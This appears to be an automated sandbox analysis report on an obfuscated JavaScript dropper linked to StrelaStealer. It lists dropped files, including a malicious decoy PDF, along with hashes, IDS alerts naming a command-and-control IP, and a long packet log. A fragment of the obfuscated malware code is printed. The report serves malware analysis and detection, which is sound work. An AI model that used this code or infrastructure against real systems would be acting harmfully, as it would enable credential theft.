Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c4324e16-e49d-45bc-8e7a-6abfb5e9bafb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLaGZjZwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLaGZjZwZGk3mlind9i4ufFXpAXkru
MD5:	AE1E8A5D3E7B2198980A0CA16DE5F3D3
SHA1:	A1DB2C58AFC81E6A114A8EB47BE0243956F79460
SHA-256:	8C2E1B13F6658714D51737D6745FE065B87497923945AB3028706A4171C8328F
SHA-512:	5B36CF0982C5AFED5CCEA4B30A0B31A2B5312FBF5438623D53153E076B59F1B4BEF8C08695EA74E086BCA4EF7221889DB977B5DCFF4C684BA0683FDDECDE2EC4
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15429), with CRLF line terminators
Entropy (8bit):	4.913060658765168
TrID:
File name:	1849946161599211804.js
File size:	18'834 bytes
MD5:	91be7eeb9d6d4d2ee4ce0bc58dbe61a8
SHA1:	6d789bcc0c37b20b259b01d4bda9db0ea88111ab
SHA256:	b3429d872b9c0c19eab72413e63c65224e0573b9fc38ebaee76fcf5ca0de4a2f
SHA512:	854918442d72dcaf629770e35fa915f971a28370985e5cc239f6c4a16c8f3c9a7b25d9f1df6b827d0dcca5a8799782d2b5919895c74e3379bc267984406d92e8
SSDEEP:	384:SJQauqsqrfp1f0LsxrSBLmpMjI+/m7e8yjV4jX+382OBchqQuOOjBbplxtcGoH:SJQahrfp1f0LsxrSBLmpMjI+/m7e8yjB
TLSH:	488287CCD2098A17C8C441F841E984E011ECC3AF06F864C6554D9A9DA3DBB7AEDEB1BD
File Content Preview:	function ygtuj(){ednvtf=[1031,3079,5127,4103,2055,3072];var yjoom=this[iwruepltw+aqnjfeb+fnmbq+sxrjif+zuhsymiwj+dydtym+nrzwhpdgs+vhlmds](this[pwcln+tjdhott+lxvnotpiq+fnmbq+aeaeksfu+iwruepltw+vhlmds][ihxkvjgb+fnmbq+zuhsymiwj+aqnjfeb+vhlmds+zuhsymiwj+gyvzsc

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:20:44.369151+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:20:44.369151+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:20:47.242257+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:20:43.535855055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:43.540870905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:43.540970087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:43.543735027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:43.548540115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.369060993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.369082928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.369098902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.369115114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.369151115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.369191885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.369193077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.369220018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.369234085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.369304895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.369345903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.369364023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.369383097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.369390965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.369419098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.374057055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.374085903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.374147892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.423111916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.423151970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.423176050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.423202991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.476641893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.493381977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.493417025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.493434906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.493496895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.493515015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.493541956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.493585110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.493737936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.493767977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.493789911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.493839979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.493856907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.493881941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.493890047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.493932009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.494672060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.494688988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.494705915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.494771957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.495093107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.495110035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.495126009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.495132923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.495173931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.495282888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.495301008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.495343924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.496011019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.515460014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.515609026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.548872948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.548897028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.548913956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.548934937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.549086094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.549159050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.585782051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.585798979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.585953951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.617710114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.617727041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.617743969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.617788076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.617803097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.617832899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.617917061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.618077040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.618103981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.618119955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.618138075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.618168116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.618364096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.618412018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.618427038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.618449926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.618503094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.618537903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.618899107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.618912935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.618973017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.618988037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.619033098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.619048119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.619075060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.619175911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.619191885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.619208097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.619218111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.619227886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.619251966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.619967937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.619982958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.619998932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.620021105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.620053053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.620132923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.620148897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.620166063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.620194912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.620583057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.620628119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.620639086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.620656013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.620692968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.620757103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.620771885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.620789051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.620826960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.620901108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.620944023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.621583939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.621598959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.621614933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.621642113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.621723890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.621738911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.621753931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.621759892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.621792078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.641135931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.641206980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.641221046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.641237974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.641366959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.644759893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.673367023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.673393011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.673410892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.673475027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.673490047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.673506021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.673518896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.673548937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.673579931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.710004091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.710052967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.710067034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.710092068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.710108042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.710179090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.710346937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.741997957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742031097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742047071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742073059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742103100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742117882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742136002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.742217064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.742325068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742341995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742357016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742409945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.742465973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742518902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.742533922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742551088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742590904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.742609978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742691994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742707968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742728949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.742911100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742963076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.742980957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.742997885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743046045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.743172884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743196964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743215084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743242979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.743448973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743465900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743484020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743485928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.743520975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.743562937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743578911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743594885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743613958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.743762016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743778944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743793964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743801117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.743813038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743841887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.743904114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743920088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743933916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743942022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.743952036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.743974924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.744505882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.744522095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.744539022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.744559050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.744565964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.744576931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.744582891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.744599104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.744616985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.744620085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.744659901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.744807959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.744823933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.744838953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.744857073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.744859934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.744898081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.745326996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.745379925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.745397091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.745424986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.745534897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.745551109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.745575905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.745630026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.745646954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.745665073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.745672941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.745682001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.745707989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.745712996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.745747089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.745883942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.746243000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.746267080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.746284008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.746290922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.746321917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.746361017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.746496916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.746511936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.746520042 CET	80	49704	193.143.1.205	192.168.2.5
